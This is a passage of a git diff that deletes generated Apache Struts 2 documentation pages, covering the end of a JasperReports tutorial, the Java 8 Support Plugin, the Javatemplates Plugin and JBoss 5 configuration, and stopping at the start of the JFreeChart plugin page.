-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="default" namespace="/" extends="jasperreports-default"&gt;
-    &lt;action name="myJasperTest" class="com.acme.test.action.JasperAction"&gt;
-        &lt;result name="success" type="jasper"&gt;
-            &lt;param name="location"&gt;/jasper/our_compiled_template.jasper&lt;/param&gt;
-            &lt;param name="dataSource"&gt;myList&lt;/param&gt;
-            &lt;param name="format"&gt;PDF&lt;/param&gt;
-        &lt;/result&gt;
-    &lt;/action&gt;
-    ...
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<p>To use the JasperReports result type we must either (a) extend the <code>jasperreports-default</code> package that defines it or (b) manually define the JasperReport <code>jasper</code> result type ourselves.</p>
-
-<p>In the above example we extend the <code>jasperreports-default</code> package; we can define the <code>jasper</code> result type manually by defining it the same way the JasperReport plugin does:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Manually defining the "jasper" result type</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;result-types&gt;
-    &lt;result-type name="jasper" class="org.apache.struts2.views.jasperreports.JasperReportsResult"/&gt;
-&lt;/result-types&gt;
-</pre>
-</div></div>
-
-<p>We configure our JasperAction with the name 'myJasperTest' - this means that we can execute this Action by sending a request to <code>myJasperTest.action</code> in our browser.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="myJasperTest" class="com.acme.test.action.JasperAction"&gt;
-</pre>
-</div></div>
-
-<p>When our JasperAction executes correctly, we will use the Result type registered with the name 'jasper'. As discussed above the "jasper" result type is available from either extending the "jasperreports-default" package or by defining the result type manually.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;result name="success" type="jasper"&gt;
-</pre>
-</div></div>
-
-<p>The "location" parameter defines the location of the compiled jasper file, which will be filled by Struts 2 with our dataSource:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;param name="location"&gt;/jasper/our_compiled_template.jasper&lt;/param&gt;
-</pre>
-</div></div>
-
-<p>The "dataSource" parameter defines the action property containing the collection of objects to use in our report. In this case it's the <code>myList</code> property which we manually filled with some <code>Person</code> objects.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;param name="dataSource"&gt;myList&lt;/param&gt;
-</pre>
-</div></div>
-
-<p>The "format" parameter specifies the output format of the report. Possible values include PDF, CSV, XLS and HTML.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;param name="format"&gt;PDF&lt;/param&gt;
-</pre>
-</div></div>
-
-<h2 id="JasperReportsTutorial-Conclusion">Conclusion</h2>
-
-<p>You should now be able to execute <a shape="rect" class="external-link" href="http://localhost:8080/YOUR_WEBAPP/myJasperTest.action" rel="nofollow">http://localhost:8080/YOUR_WEBAPP/myJasperTest.action</a> - and you should see a nice list of names.<br clear="none">
-Struts provides probably the most elegant way to deal with JasperReport files; specify the location of the .jasper file, specify what dataSource you want to use, and there you go.</p>
-
-<h2 id="JasperReportsTutorial-Backto">Back to <a shape="rect" href="tutorials.html">Tutorials</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/java-8-support-plugin.html b/content/docs/java-8-support-plugin.html
deleted file mode 100644
index a186f69..0000000
--- a/content/docs/java-8-support-plugin.html
+++ /dev/null
@@ -1,167 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Java 8 Support Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="java-8-support-plugin.html">Java 8 Support Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Java 8 Support Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=50857342">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=50857342">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=50857342">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=50857342">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=50857342">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=50857342">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This plugin was dropped in Struts 2.5.5 as Struts Core is using ASM5 now which supports Java8.</p></div></div>Adds support for Java 8 - to allow use the latest features of the language with Struts actions.<h2 id="Java8Support [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-    &lt;groupId&gt;org.apache.struts.xwork&lt;/groupId&gt;
-    &lt;artifactId&gt;xwork-core&lt;/artifactId&gt;
-    &lt;exclusions&gt;
-        &lt;exclusion&gt;
-            &lt;groupId&gt;asm&lt;/groupId&gt;
-            &lt;artifactId&gt;asm&lt;/artifactId&gt;
-        &lt;/exclusion&gt;
-        &lt;exclusion&gt;
-            &lt;groupId&gt;asm&lt;/groupId&gt;
-            &lt;artifactId&gt;asm-commons&lt;/artifactId&gt;
-        &lt;/exclusion&gt;
-    &lt;/exclusions&gt;
-&lt;/dependency&gt;</pre>
-</div></div><p>If you don't use Maven to manage the dependencies, please be sure to replace&#160;<code>asm.jar</code>&#160;and <code>asm-commons.jar</code>&#160;with appropriated ASM 5 versions.</p><h2 id="Java8SupportPlugin-SupportedJava8features">Supported Java 8 features</h2><div><div><ul><li><p>Lambda Expressions&#160;in actions when using them with the Convention plugin</p></li></ul></div></div><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/javatemplates-plugin.html b/content/docs/javatemplates-plugin.html
deleted file mode 100644
index b005876..0000000
--- a/content/docs/javatemplates-plugin.html
+++ /dev/null
@@ -1,156 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Javatemplates Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="javatemplates-plugin.html">Javatemplates Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Javatemplates Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105841">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105841">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105841">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105841">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105841">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105841">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This plugin provides afaster Java implementation of tags in the "simple" theme. Struts tags are implemented using FreeMarker as the rendering engine, which provides, among other things, the option to overwrite the tags. This plugin implements the tags in the "simple" theme, using Java (FreeMarker is not involved at all), which provides a performance boost to page rendering.</p><h2 id="JavatemplatesPlugin-Installation">Installation</h2><p>1. This [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.ui.templateSuffix" value="java" /&gt;
-&lt;constant name="struts.ui.theme" value="simple" /&gt;
-</pre>
-</div></div><p>The plugin is a drop in replacement for the supported tags in the simple theme, so no other configuration is required.</p><h2 id="JavatemplatesPlugin-Supportedtags">Supported tags</h2><ul><li><a shape="rect" href="a.html">a</a></li><li><a shape="rect" href="actionerror.html">actionerror</a></li><li><a shape="rect" href="actionmessage.html">actionmessage</a></li><li><a shape="rect" href="checkbox.html">checkbox</a></li><li><a shape="rect" href="datetextfield.html">datetextf [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/jboss-5.html b/content/docs/jboss-5.html
deleted file mode 100644
index 71da091..0000000
--- a/content/docs/jboss-5.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JBoss 5</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="application-servers.html">Application Servers</a>&nbsp;&gt;&nbsp;<a href="jboss-5.html">JBoss 5</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JBoss 5</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30754776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30754776">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30754776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30754776">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30754776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30754776">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h3 id="JBoss5-Conventionpluginsupport">Convention plugin support</h3>
-
-<p>To have proper support of &#65279;&#65279;the&#160;<a shape="rect" href="convention-plugin.html">Convention Plugin</a>&#160;in JBoss AS 5, especially when you put actions inside a jar (which is embedded in war or ear) and not directly into <code>WEB-INF/classes</code>, you must add the following line into <code>$JBOSS_HOME/bin/run.conf</code> or into <code>$JBOSS_HOME\bin\run.conf.bat</code></p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Linux/OSX - $JBOSS_HOME/bin/run.conf</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-JAVA_OPTS="$JAVA_OPTS -Djboss.vfs.forceVfsJar=true"
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Windows - $JBOSS_HOME\bin\run.conf.bat</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-set "JAVA_OPTS=%JAVA_OPTS% -Djboss.vfs.forceVfsJar=true"
-</pre>
-</div></div>
-
-<p>You can find more details about JBoss VFS <a shape="rect" class="external-link" href="http://docs.jboss.org/jbossas/docs/Installation_And_Getting_Started_Guide/5/html_single/index.html#d0e495" rel="nofollow">here</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/jfreechart-plugin.html b/content/docs/jfreechart-plugin.html
deleted file mode 100644
index c82ea97..0000000
--- a/content/docs/jfreechart-plugin.html
+++ /dev/null
@@ -1,251 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JFreeChart Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
